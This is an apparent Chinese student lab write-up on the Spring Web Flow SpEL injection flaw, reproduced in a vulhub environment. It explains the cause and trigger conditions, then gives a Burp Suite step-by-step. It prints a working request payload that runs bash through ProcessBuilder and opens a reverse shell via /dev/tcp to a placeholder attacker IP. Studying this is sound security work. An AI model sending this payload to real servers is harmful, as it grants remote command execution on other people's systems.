目录
前言:
如果没有特别幸运,那就请特别努力!
2022.7.14今天的学习任务是介个漏洞打完然后反弹shell
郭师傅让我好好写文章要不然我就又要被批评啦!
什么是Spring Web Flow?
springwebflow是从spring framework中分离出来的一个开发模块,是spring模块栈中的一部分。spring wev flow的目标是成为管理web应用页面流程的最近方案。当你的应用需要复杂的导航控制,例如向导,在一个比较大的事务过程中去指导用户经过一连串的步骤的时候,SWF将会是一个功能强大的控制器。
Spring Web Flow构建于Spring MVC之上,允许实现Web应用程序的“流程”。 流程封装了一系列步骤,指导用户执行某些业务任务。 它跨越多个HTTP请求,具有状态,处理事务数据,可重用,并且可能是动态的,并且本质上是长期运行的。
适用于开发基于流程的应用程序框架。
漏洞产生原因?
没有明确指定相关model的属性从而导致可以从表单提交表达式从而被执行导致了漏洞。
如果我们指定了数据的model那么他会自动进行数据绑定。那如果控制了数据绑定时候的filed参数(只有控制filed参数才能发出漏洞),将会导致一个spel表达式注入漏洞最终造成任意命令执行。
在订购这个酒店处它存在一个命令执行。调用了两个函数。一个是addDefultMappings这个函数直接控制filed的值。一个是addModelBindings是直接获取的一个java配置文件,由配置文件来确认是否有binder节点。有binder节点就无法触发漏洞。
触发漏洞的条件
由上我们知道了有这两个条件才能触发漏洞:
1.在 webflow 配置文件中 view-state 节点中指定了 model 属性,并且没有指定绑定的参数,即 view-state 中没有配置 binder 节点
2.而且 MvcViewFactoryCreator 类中 useSpringBeanBinding 默认值(false)未修改
(如果默认值被修改则执行不了表达式)
漏洞复现反弹shell
先打开搭建好的页面
然后login
用左边给出的账号密码进行登录
随便选一个酒店
点击book hotel进去随便填好信息
点击proceed进入下一个页面
点击confirm然后用burpsuite抓包
在服务器上开启监听端口8001
然后在burpsuite内写入如下命令反弹shell:
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub
可以在服务器看到反弹shell成功!
最后~
像这种订购酒店还有什么买票呀订购书呀这些过程就需要指导着我们用户一步一步的来有一个流程就用到了SWF!